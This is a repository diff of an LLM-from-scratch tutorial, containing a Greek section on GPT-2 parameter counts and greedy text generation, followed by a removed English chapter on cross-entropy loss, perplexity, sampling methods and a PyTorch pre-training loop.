out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592
```
- **Συνολικές Παράμετροι Πολυκεφαλικής Προσοχής:**
```python
mha_params = total_qkv_params + out_proj_params
mha_params = 1,769,472 + 590,592 = 2,360,064
```
**β. Δίκτυο Τροφοδοσίας**
- **Συστατικά:**
- **Πρώτο Γραμμικό Επίπεδο:** `nn.Linear(emb_dim, 4 * emb_dim)`
- **Δεύτερο Γραμμικό Επίπεδο:** `nn.Linear(4 * emb_dim, emb_dim)`
- **Υπολογισμοί:**
- **Πρώτο Γραμμικό Επίπεδο:**
```python
ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim)
ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368
```
- **Δεύτερο Γραμμικό Επίπεδο:**
```python
ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim
ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064
```
- **Συνολικές Παράμετροι Δικτύου Τροφοδοσίας:**
```python
ff_params = ff_first_layer_params + ff_second_layer_params
ff_params = 2,362,368 + 2,360,064 = 4,722,432
```
**γ. Κανονικοποιήσεις Επίπεδου**
- **Συστατικά:**
- Δύο περιπτώσεις `LayerNorm` ανά μπλοκ.
- Κάθε `LayerNorm` έχει `2 * emb_dim` παραμέτρους (κλίμακα και μετατόπιση).
- **Υπολογισμοί:**
```python
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
```
**δ. Συνολικές Παράμετροι ανά Μπλοκ Μετασχηματιστή**
```python
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
```
**Συνολικοί Παράμετροι για Όλα τα Μπλοκ Μετασχηματιστή**
```python
pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers
total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
```
#### **3. Τελικά Στρώματα**
**a. Τελική Κανονικοποίηση Στρώματος**
- **Παράμετροι:** `2 * emb_dim` (κλίμακα και μετατόπιση)
```python
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
```
**β. Στρώμα Έξοδου Πρόβλεψης (`out_head`)**
- **Στρώμα:** `nn.Linear(emb_dim, vocab_size, bias=False)`
- **Παράμετροι:** `emb_dim * vocab_size`
```python
pythonCopy codeoutput_projection_params = 768 * 50257 = 38,597,376
```
#### **4. Συνοψίζοντας Όλες τις Παραμέτρους**
```python
pythonCopy codetotal_params = (
embedding_params +
total_transformer_blocks_params +
final_layer_norm_params +
output_projection_params
)
total_params = (
39,383,808 +
85,026,816 +
1,536 +
38,597,376
)
total_params = 163,009,536
```
## Δημιουργία Κειμένου
Έχοντας ένα μοντέλο που προβλέπει το επόμενο token όπως το προηγούμενο, χρειάζεται απλώς να πάρουμε τις τελευταίες τιμές token από την έξοδο (καθώς θα είναι αυτές του προβλεπόμενου token), οι οποίες θα είναι μια **τιμή ανά είσοδο στο λεξιλόγιο** και στη συνέχεια να χρησιμοποιήσουμε τη συνάρτηση `softmax` για να κανονικοποιήσουμε τις διαστάσεις σε πιθανότητες που αθροίζουν σε 1 και στη συνέχεια να πάρουμε τον δείκτη της μεγαλύτερης εισόδου, ο οποίος θα είναι ο δείκτης της λέξης μέσα στο λεξιλόγιο.
Κώδικας από [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
```python
def generate_text_simple(model, idx, max_new_tokens, context_size):
# idx is (batch, n_tokens) array of indices in the current context
for _ in range(max_new_tokens):
# Crop current context if it exceeds the supported context size
# E.g., if LLM supports only 5 tokens, and the context size is 10
# then only the last 5 tokens are used as context
idx_cond = idx[:, -context_size:]
# Get the predictions
with torch.no_grad():
logits = model(idx_cond)
# Focus only on the last time step
# (batch, n_tokens, vocab_size) becomes (batch, vocab_size)
logits = logits[:, -1, :]
# Apply softmax to get probabilities
probas = torch.softmax(logits, dim=-1) # (batch, vocab_size)
# Get the idx of the vocab entry with the highest probability value
idx_next = torch.argmax(probas, dim=-1, keepdim=True) # (batch, 1)
# Append sampled index to the running sequence
idx = torch.cat((idx, idx_next), dim=1) # (batch, n_tokens+1)
return idx
start_context = "Hello, I am"
encoded = tokenizer.encode(start_context)
print("encoded:", encoded)
encoded_tensor = torch.tensor(encoded).unsqueeze(0)
print("encoded_tensor.shape:", encoded_tensor.shape)
model.eval() # disable dropout
out = generate_text_simple(
model=model,
idx=encoded_tensor,
max_new_tokens=6,
context_size=GPT_CONFIG_124M["context_length"]
)
print("Output:", out)
print("Output length:", len(out[0]))
```
## Αναφορές
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)

View File

@ -1,970 +0,0 @@
# 6. Pre-training & Loading models
## Text Generation
In order to train a model we will need that model to be able to generate new tokens. Then we will compare the generated tokens with the expected ones in order to train the model into **learning the tokens it needs to generate**.
As in the previous examples we already predicted some tokens, it's possible to reuse that function for this purpose.
> [!TIP]
> The goal of this sixth phase is very simple: **Train the model from scratch**. For this the previous LLM architecture will be used with some loops going over the data sets using the defined loss functions and optimizer to train all the parameters of the model.
## Text Evaluation
In order to perform a correct training it's needed to measure check the predictions obtained for the expected token. The goal of the training is to maximize the likelihood of the correct token, which involves increasing its probability relative to other tokens.
In order to maximize the probability of the correct token, the weights of the model must be modified to that probability is maximised. The updates of the weights is done via **backpropagation**. This requires a **loss function to maximize**. In this case, the function will be the **difference between the performed prediction and the desired one**.
However, instead of working with the raw predictions, it will work with a logarithm with base n. So if the current prediction of the expected token was 7.4541e-05, the natural logarithm (base*e*) of **7.4541e-05** is approximately **-9.5042**.\
Then, for each entry with a context length of 5 tokens for example, the model will need to predict 5 tokens, being the first 4 tokens the last one of the input and the fifth the predicted one. Therefore, for each entry we will have 5 predictions in that case (even if the first 4 ones were in the input the model doesn't know this) with 5 expected token and therefore 5 probabilities to maximize.
Therefore, after performing the natural logarithm to each prediction, the **average** is calculated, the **minus symbol removed** (this is called _cross entropy loss_) and thats the **number to reduce as close to 0 as possible** because the natural logarithm of 1 is 0:
<figure><img src="../../images/image (10) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233">https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233</a></p></figcaption></figure>
Another way to measure how good the model is is called perplexity. **Perplexity** is a metric used to evaluate how well a probability model predicts a sample. In language modelling, it represents the **model's uncertainty** when predicting the next token in a sequence.\
For example, a perplexity value of 48725, means that when needed to predict a token it's unsure about which among 48,725 tokens in the vocabulary is the good one.
## Pre-Train Example
This is the initial code proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) some times slightly modify
<details>
<summary>Previous code used here but already explained in previous sections</summary>
```python
"""
This is code explained before so it won't be exaplained
"""
import tiktoken
import torch
import torch.nn as nn
from torch.utils.data import Dataset, DataLoader
class GPTDatasetV1(Dataset):
def __init__(self, txt, tokenizer, max_length, stride):
self.input_ids = []
self.target_ids = []
# Tokenize the entire text
token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"})
# Use a sliding window to chunk the book into overlapping sequences of max_length
for i in range(0, len(token_ids) - max_length, stride):
input_chunk = token_ids[i:i + max_length]
target_chunk = token_ids[i + 1: i + max_length + 1]
self.input_ids.append(torch.tensor(input_chunk))
self.target_ids.append(torch.tensor(target_chunk))
def __len__(self):
return len(self.input_ids)
def __getitem__(self, idx):
return self.input_ids[idx], self.target_ids[idx]
def create_dataloader_v1(txt, batch_size=4, max_length=256,
stride=128, shuffle=True, drop_last=True, num_workers=0):
# Initialize the tokenizer
tokenizer = tiktoken.get_encoding("gpt2")
# Create dataset
dataset = GPTDatasetV1(txt, tokenizer, max_length, stride)
# Create dataloader
dataloader = DataLoader(
dataset, batch_size=batch_size, shuffle=shuffle, drop_last=drop_last, num_workers=num_workers)
return dataloader
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
super().__init__()
assert d_out % num_heads == 0, "d_out must be divisible by n_heads"
self.d_out = d_out
self.num_heads = num_heads
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
self.dropout = nn.Dropout(dropout)
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
def forward(self, x):
b, num_tokens, d_in = x.shape
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
queries = self.W_query(x)
values = self.W_value(x)
# We implicitly split the matrix by adding a `num_heads` dimension
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
keys = keys.transpose(1, 2)
queries = queries.transpose(1, 2)
values = values.transpose(1, 2)
# Compute scaled dot-product attention (aka self-attention) with a causal mask
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
# Original mask truncated to the number of tokens and converted to boolean
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
# Use the mask to fill attention scores
attn_scores.masked_fill_(mask_bool, -torch.inf)
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
attn_weights = self.dropout(attn_weights)
# Shape: (b, num_tokens, num_heads, head_dim)
context_vec = (attn_weights @ values).transpose(1, 2)
# Combine heads, where self.d_out = self.num_heads * self.head_dim
context_vec = context_vec.reshape(b, num_tokens, self.d_out)
context_vec = self.out_proj(context_vec) # optional projection
return context_vec
class LayerNorm(nn.Module):
def __init__(self, emb_dim):
super().__init__()
self.eps = 1e-5
self.scale = nn.Parameter(torch.ones(emb_dim))
self.shift = nn.Parameter(torch.zeros(emb_dim))
def forward(self, x):
mean = x.mean(dim=-1, keepdim=True)
var = x.var(dim=-1, keepdim=True, unbiased=False)
norm_x = (x - mean) / torch.sqrt(var + self.eps)
return self.scale * norm_x + self.shift
class GELU(nn.Module):
def __init__(self):
super().__init__()
def forward(self, x):
return 0.5 * x * (1 + torch.tanh(
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
(x + 0.044715 * torch.pow(x, 3))
))
class FeedForward(nn.Module):
def __init__(self, cfg):
super().__init__()
self.layers = nn.Sequential(
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
GELU(),
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
)
def forward(self, x):
return self.layers(x)
class TransformerBlock(nn.Module):
def __init__(self, cfg):
super().__init__()
self.att = MultiHeadAttention(
d_in=cfg["emb_dim"],
d_out=cfg["emb_dim"],
context_length=cfg["context_length"],
num_heads=cfg["n_heads"],
dropout=cfg["drop_rate"],
qkv_bias=cfg["qkv_bias"])
self.ff = FeedForward(cfg)
self.norm1 = LayerNorm(cfg["emb_dim"])
self.norm2 = LayerNorm(cfg["emb_dim"])
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
def forward(self, x):
# Shortcut connection for attention block
shortcut = x
x = self.norm1(x)
x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
# Shortcut connection for feed-forward block
shortcut = x
x = self.norm2(x)
x = self.ff(x)
x = self.drop_shortcut(x)
x = x + shortcut # Add the original input back
return x
class GPTModel(nn.Module):
def __init__(self, cfg):
super().__init__()
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
self.drop_emb = nn.Dropout(cfg["drop_rate"])
self.trf_blocks = nn.Sequential(
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
self.final_norm = LayerNorm(cfg["emb_dim"])
self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
def forward(self, in_idx):
batch_size, seq_len = in_idx.shape
tok_embeds = self.tok_emb(in_idx)
pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
x = self.drop_emb(x)
x = self.trf_blocks(x)
x = self.final_norm(x)
logits = self.out_head(x)
return logits
```
</details>
```python
# Download contents to train the data with
import os
import urllib.request
file_path = "the-verdict.txt"
url = "https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt"
if not os.path.exists(file_path):
with urllib.request.urlopen(url) as response:
text_data = response.read().decode('utf-8')
with open(file_path, "w", encoding="utf-8") as file:
file.write(text_data)
else:
with open(file_path, "r", encoding="utf-8") as file:
text_data = file.read()
total_characters = len(text_data)
tokenizer = tiktoken.get_encoding("gpt2")
total_tokens = len(tokenizer.encode(text_data))
print("Data downloaded")
print("Characters:", total_characters)
print("Tokens:", total_tokens)
# Model initialization
GPT_CONFIG_124M = {
"vocab_size": 50257, # Vocabulary size
"context_length": 256, # Shortened context length (orig: 1024)
"emb_dim": 768, # Embedding dimension
"n_heads": 12, # Number of attention heads
"n_layers": 12, # Number of layers
"drop_rate": 0.1, # Dropout rate
"qkv_bias": False # Query-key-value bias
}
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
model.eval()
print ("Model initialized")
# Functions to transform from tokens to ids and from to ids to tokens
def text_to_token_ids(text, tokenizer):
encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'})
encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension
return encoded_tensor
def token_ids_to_text(token_ids, tokenizer):
flat = token_ids.squeeze(0) # remove batch dimension
return tokenizer.decode(flat.tolist())
# Define loss functions
def calc_loss_batch(input_batch, target_batch, model, device):
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
logits = model(input_batch)
loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten())
return loss
def calc_loss_loader(data_loader, model, device, num_batches=None):
total_loss = 0.
if len(data_loader) == 0:
return float("nan")
elif num_batches is None:
num_batches = len(data_loader)
else:
# Reduce the number of batches to match the total number of batches in the data loader
# if num_batches exceeds the number of batches in the data loader
num_batches = min(num_batches, len(data_loader))
for i, (input_batch, target_batch) in enumerate(data_loader):
if i < num_batches:
loss = calc_loss_batch(input_batch, target_batch, model, device)
total_loss += loss.item()
else:
break
return total_loss / num_batches
# Apply Train/validation ratio and create dataloaders
train_ratio = 0.90
split_idx = int(train_ratio * len(text_data))
train_data = text_data[:split_idx]
val_data = text_data[split_idx:]
torch.manual_seed(123)
train_loader = create_dataloader_v1(
train_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=True,
shuffle=True,
num_workers=0
)
val_loader = create_dataloader_v1(
val_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=False,
shuffle=False,
num_workers=0
)
# Sanity checks
if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the training loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"increase the `training_ratio`")
if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the validation loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"decrease the `training_ratio`")
print("Train loader:")
for x, y in train_loader:
print(x.shape, y.shape)
print("\nValidation loader:")
for x, y in val_loader:
print(x.shape, y.shape)
train_tokens = 0
for input_batch, target_batch in train_loader:
train_tokens += input_batch.numel()
val_tokens = 0
for input_batch, target_batch in val_loader:
val_tokens += input_batch.numel()
print("Training tokens:", train_tokens)
print("Validation tokens:", val_tokens)
print("All tokens:", train_tokens + val_tokens)
# Indicate the device to use
if torch.cuda.is_available():
device = torch.device("cuda")
elif torch.backends.mps.is_available():
device = torch.device("mps")
else:
device = torch.device("cpu")
print(f"Using {device} device.")
model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes
# Pre-calculate losses without starting yet
torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader
with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet
train_loss = calc_loss_loader(train_loader, model, device)
val_loss = calc_loss_loader(val_loader, model, device)
print("Training loss:", train_loss)
print("Validation loss:", val_loss)
# Functions to train the data
def train_model_simple(model, train_loader, val_loader, optimizer, device, num_epochs,
eval_freq, eval_iter, start_context, tokenizer):
# Initialize lists to track losses and tokens seen
train_losses, val_losses, track_tokens_seen = [], [], []
tokens_seen, global_step = 0, -1
# Main training loop
for epoch in range(num_epochs):
model.train() # Set model to training mode
for input_batch, target_batch in train_loader:
optimizer.zero_grad() # Reset loss gradients from previous batch iteration
loss = calc_loss_batch(input_batch, target_batch, model, device)
loss.backward() # Calculate loss gradients
optimizer.step() # Update model weights using loss gradients
tokens_seen += input_batch.numel()
global_step += 1
# Optional evaluation step
if global_step % eval_freq == 0:
train_loss, val_loss = evaluate_model(
model, train_loader, val_loader, device, eval_iter)
train_losses.append(train_loss)
val_losses.append(val_loss)
track_tokens_seen.append(tokens_seen)
print(f"Ep {epoch+1} (Step {global_step:06d}): "
f"Train loss {train_loss:.3f}, Val loss {val_loss:.3f}")
# Print a sample text after each epoch
generate_and_print_sample(
model, tokenizer, device, start_context
)
return train_losses, val_losses, track_tokens_seen
def evaluate_model(model, train_loader, val_loader, device, eval_iter):
model.eval()
with torch.no_grad():
train_loss = calc_loss_loader(train_loader, model, device, num_batches=eval_iter)
val_loss = calc_loss_loader(val_loader, model, device, num_batches=eval_iter)
model.train()
return train_loss, val_loss
def generate_and_print_sample(model, tokenizer, device, start_context):
model.eval()
context_size = model.pos_emb.weight.shape[0]
encoded = text_to_token_ids(start_context, tokenizer).to(device)
with torch.no_grad():
token_ids = generate_text(
model=model, idx=encoded,
max_new_tokens=50, context_size=context_size
)
decoded_text = token_ids_to_text(token_ids, tokenizer)
print(decoded_text.replace("\n", " ")) # Compact print format
model.train()
# Start training!
import time
start_time = time.time()
torch.manual_seed(123)
model = GPTModel(GPT_CONFIG_124M)
model.to(device)
optimizer = torch.optim.AdamW(model.parameters(), lr=0.0004, weight_decay=0.1)
num_epochs = 10
train_losses, val_losses, tokens_seen = train_model_simple(
model, train_loader, val_loader, optimizer, device,
num_epochs=num_epochs, eval_freq=5, eval_iter=5,
start_context="Every effort moves you", tokenizer=tokenizer
)
end_time = time.time()
execution_time_minutes = (end_time - start_time) / 60
print(f"Training completed in {execution_time_minutes:.2f} minutes.")
# Show graphics with the training process
import matplotlib.pyplot as plt
from matplotlib.ticker import MaxNLocator
import math
def plot_losses(epochs_seen, tokens_seen, train_losses, val_losses):
fig, ax1 = plt.subplots(figsize=(5, 3))
ax1.plot(epochs_seen, train_losses, label="Training loss")
ax1.plot(
epochs_seen, val_losses, linestyle="-.", label="Validation loss"
)
ax1.set_xlabel("Epochs")
ax1.set_ylabel("Loss")
ax1.legend(loc="upper right")
ax1.xaxis.set_major_locator(MaxNLocator(integer=True))
ax2 = ax1.twiny()
ax2.plot(tokens_seen, train_losses, alpha=0)
ax2.set_xlabel("Tokens seen")
fig.tight_layout()
plt.show()
# Compute perplexity from the loss values
train_ppls = [math.exp(loss) for loss in train_losses]
val_ppls = [math.exp(loss) for loss in val_losses]
# Plot perplexity over tokens seen
plt.figure()
plt.plot(tokens_seen, train_ppls, label='Training Perplexity')
plt.plot(tokens_seen, val_ppls, label='Validation Perplexity')
plt.xlabel('Tokens Seen')
plt.ylabel('Perplexity')
plt.title('Perplexity over Training')
plt.legend()
plt.show()
epochs_tensor = torch.linspace(0, num_epochs, len(train_losses))
plot_losses(epochs_tensor, tokens_seen, train_losses, val_losses)
torch.save({
"model_state_dict": model.state_dict(),
"optimizer_state_dict": optimizer.state_dict(),
},
"/tmp/model_and_optimizer.pth"
)
```
Let's see an explanation step by step
### Functions to transform text <--> ids
These are some simple functions that can be used to transform from texts from the vocabulary to ids and backwards. This is needed at the begging of the handling of the text and at the end fo the predictions:
```python
# Functions to transform from tokens to ids and from to ids to tokens
def text_to_token_ids(text, tokenizer):
encoded = tokenizer.encode(text, allowed_special={'<|endoftext|>'})
encoded_tensor = torch.tensor(encoded).unsqueeze(0) # add batch dimension
return encoded_tensor
def token_ids_to_text(token_ids, tokenizer):
flat = token_ids.squeeze(0) # remove batch dimension
return tokenizer.decode(flat.tolist())
```
### Generate text functions
In a previos section a function that just got the **most probable token** after getting the logits. However, this will mean that for each entry the same output is always going to be generated which makes it very deterministic.
The following `generate_text` function, will apply the `top-k` , `temperature` and `multinomial` concepts.
- The **`top-k`** means that we will start reducing to `-inf` all the probabilities of all the tokens expect of the top k tokens. So, if k=3, before making a decision only the 3 most probably tokens will have a probability different from `-inf`.
- The **`temperature`** means that every probability will be divided by the temperature value. A value of `0.1` will improve the highest probability compared with the lowest one, while a temperature of `5` for example will make it more flat. This helps to improve to variation in responses we would like the LLM to have.
- After applying the temperature, a **`softmax`** function is applied again to make all the reminding tokens have a total probability of 1.
- Finally, instead of choosing the token with the biggest probability, the function **`multinomial`** is applied to **predict the next token according to the final probabilities**. So if token 1 had a 70% of probabilities, token 2 a 20% and token 3 a 10%, 70% of the times token 1 will be selected, 20% of the times it will be token 2 and 10% of the times will be 10%.
```python
# Generate text function
def generate_text(model, idx, max_new_tokens, context_size, temperature=0.0, top_k=None, eos_id=None):
# For-loop is the same as before: Get logits, and only focus on last time step
for _ in range(max_new_tokens):
idx_cond = idx[:, -context_size:]
with torch.no_grad():
logits = model(idx_cond)
logits = logits[:, -1, :]
# New: Filter logits with top_k sampling
if top_k is not None:
# Keep only top_k values
top_logits, _ = torch.topk(logits, top_k)
min_val = top_logits[:, -1]
logits = torch.where(logits < min_val, torch.tensor(float("-inf")).to(logits.device), logits)
# New: Apply temperature scaling
if temperature > 0.0:
logits = logits / temperature
# Apply softmax to get probabilities
probs = torch.softmax(logits, dim=-1) # (batch_size, context_len)
# Sample from the distribution
idx_next = torch.multinomial(probs, num_samples=1) # (batch_size, 1)
# Otherwise same as before: get idx of the vocab entry with the highest logits value
else:
idx_next = torch.argmax(logits, dim=-1, keepdim=True) # (batch_size, 1)
if idx_next == eos_id: # Stop generating early if end-of-sequence token is encountered and eos_id is specified
break
# Same as before: append sampled index to the running sequence
idx = torch.cat((idx, idx_next), dim=1) # (batch_size, num_tokens+1)
return idx
```
> [!NOTE]
> There is a common alternative to `top-k` called [**`top-p`**](https://en.wikipedia.org/wiki/Top-p_sampling), also known as nucleus sampling, which instead of getting k samples with the most probability, it **organizes** all the resulting **vocabulary** by probabilities and **sums** them from the highest probability to the lowest until a **threshold is reached**.
>
> Then, **only those words** of the vocabulary will be considered according to their relative probabilities&#x20;
>
> This allows to not need to select a number of `k` samples, as the optimal k might be different on each case, but **only a threshold**.
>
> _Note that this improvement isn't included in the previous code._
> [!NOTE]
> Another way to improve the generated text is by using **Beam search** instead of the greedy search sued in this example.\
> Unlike greedy search, which selects the most probable next word at each step and builds a single sequence, **beam search keeps track of the top 𝑘 k highest-scoring partial sequences** (called "beams") at each step. By exploring multiple possibilities simultaneously, it balances efficiency and quality, increasing the chances of **finding a better overall** sequence that might be missed by the greedy approach due to early, suboptimal choices.
>
> _Note that this improvement isn't included in the previous code._
### Loss functions
The **`calc_loss_batch`** function calculates the cross entropy of the a prediction of a single batch.\
The **`calc_loss_loader`** gets the cross entropy of all the batches and calculates the **average cross entropy**.
```python
# Define loss functions
def calc_loss_batch(input_batch, target_batch, model, device):
input_batch, target_batch = input_batch.to(device), target_batch.to(device)
logits = model(input_batch)
loss = torch.nn.functional.cross_entropy(logits.flatten(0, 1), target_batch.flatten())
return loss
def calc_loss_loader(data_loader, model, device, num_batches=None):
total_loss = 0.
if len(data_loader) == 0:
return float("nan")
elif num_batches is None:
num_batches = len(data_loader)
else:
# Reduce the number of batches to match the total number of batches in the data loader
# if num_batches exceeds the number of batches in the data loader
num_batches = min(num_batches, len(data_loader))
for i, (input_batch, target_batch) in enumerate(data_loader):
if i < num_batches:
loss = calc_loss_batch(input_batch, target_batch, model, device)
total_loss += loss.item()
else:
break
return total_loss / num_batches
```
> [!NOTE]
> **Gradient clipping** is a technique used to enhance **training stability** in large neural networks by setting a **maximum threshold** for gradient magnitudes. When gradients exceed this predefined `max_norm`, they are scaled down proportionally to ensure that updates to the models parameters remain within a manageable range, preventing issues like exploding gradients and ensuring more controlled and stable training.
>
> _Note that this improvement isn't included in the previous code._
>
> Check the following example:
<figure><img src="../../images/image (6) (1).png" alt=""><figcaption></figcaption></figure>
### Loading Data
The functions `create_dataloader_v1` and `create_dataloader_v1` were already discussed in a previous section.
From here note how it's defined that 90% of the text is going to be used for training while the 10% will be used for validation and both sets are stored in 2 different data loaders.\
Note that some times part of the data set is also left for a testing set to evaluate better the performance of the model.
Both data loaders are using the same batch size, maximum length and stride and num workers (0 in this case).\
The main differences are the data used by each, and the the validators is not dropping the last neither shuffling the data is it's not needed for validation purposes.
Also the fact that **stride is as big as the context length**, means that there won't be overlapping between contexts used to train the data (reduces overfitting but also the training data set).
Moreover, note that the batch size in this case it 2 to divide the data in 2 batches, the main goal of this is to allow parallel processing and reduce the consumption per batch.
```python
train_ratio = 0.90
split_idx = int(train_ratio * len(text_data))
train_data = text_data[:split_idx]
val_data = text_data[split_idx:]
torch.manual_seed(123)
train_loader = create_dataloader_v1(
train_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=True,
shuffle=True,
num_workers=0
)
val_loader = create_dataloader_v1(
val_data,
batch_size=2,
max_length=GPT_CONFIG_124M["context_length"],
stride=GPT_CONFIG_124M["context_length"],
drop_last=False,
shuffle=False,
num_workers=0
)
```
## Sanity Checks
The goal is to check there are enough tokens for training, shapes are the expected ones and get some info about the number of tokens used for training and for validation:
```python
# Sanity checks
if total_tokens * (train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the training loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"increase the `training_ratio`")
if total_tokens * (1-train_ratio) < GPT_CONFIG_124M["context_length"]:
print("Not enough tokens for the validation loader. "
"Try to lower the `GPT_CONFIG_124M['context_length']` or "
"decrease the `training_ratio`")
print("Train loader:")
for x, y in train_loader:
print(x.shape, y.shape)
print("\nValidation loader:")
for x, y in val_loader:
print(x.shape, y.shape)
train_tokens = 0
for input_batch, target_batch in train_loader:
train_tokens += input_batch.numel()
val_tokens = 0
for input_batch, target_batch in val_loader:
val_tokens += input_batch.numel()
print("Training tokens:", train_tokens)
print("Validation tokens:", val_tokens)
print("All tokens:", train_tokens + val_tokens)
```
### Select device for training & pre calculations
The following code just select the device to use and calculates a training loss and validation loss (without having trained anything yet) as a starting point.
```python
# Indicate the device to use
if torch.cuda.is_available():
device = torch.device("cuda")
elif torch.backends.mps.is_available():
device = torch.device("mps")
else:
device = torch.device("cpu")
print(f"Using {device} device.")
model.to(device) # no assignment model = model.to(device) necessary for nn.Module classes
# Pre-calculate losses without starting yet
torch.manual_seed(123) # For reproducibility due to the shuffling in the data loader
with torch.no_grad(): # Disable gradient tracking for efficiency because we are not training, yet
train_loss = calc_loss_loader(train_loader, model, device)
val_loss = calc_loss_loader(val_loader, model, device)
print("Training loss:", train_loss)
print("Validation loss:", val_loss)
```
### Training functions
The function `generate_and_print_sample` will just get a context and generate some tokens in order to get a feeling about how good is the model at that point. This is called by `train_model_simple` on each step.
The function `evaluate_model` is called as frequently as indicate to the training function and it's used to measure the train loss and the validation loss at that point in the model training.
Then the big function `train_model_simple` is the one that actually train the model. It expects:
- The train data loader (with the data already separated and prepared for training)
- The validator loader
- The **optimizer** to use during training: This is the function that will use the gradients and will update the parameters to reduce the loss. In this case, as you will see, `AdamW` is used, but there are many more.
- `optimizer.zero_grad()` is called to reset the gradients on each round to not accumulate them.
- The **`lr`** param is the **learning rate** which determines the **size of the steps** taken during the optimization process when updating the model's parameters. A **smaller** learning rate means the optimizer **makes smaller updates** to the weights, which can lead to more **precise** convergence but might **slow down** training. A **larger** learning rate can speed up training but **risks overshooting** the minimum of the loss function (**jump over** the point where the loss function is minimized).
- **Weight Decay** modifies the **Loss Calculation** step by adding an extra term that penalizes large weights. This encourages the optimizer to find solutions with smaller weights, balancing between fitting the data well and keeping the model simple preventing overfitting in machine learning models by discouraging the model from assigning too much importance to any single feature.
- Traditional optimizers like SGD with L2 regularization couple weight decay with the gradient of the loss function. However, **AdamW** (a variant of Adam optimizer) decouples weight decay from the gradient update, leading to more effective regularization.
- The device to use for training
- The number of epochs: Number of times to go over the training data
- The evaluation frequency: The frequency to call `evaluate_model`
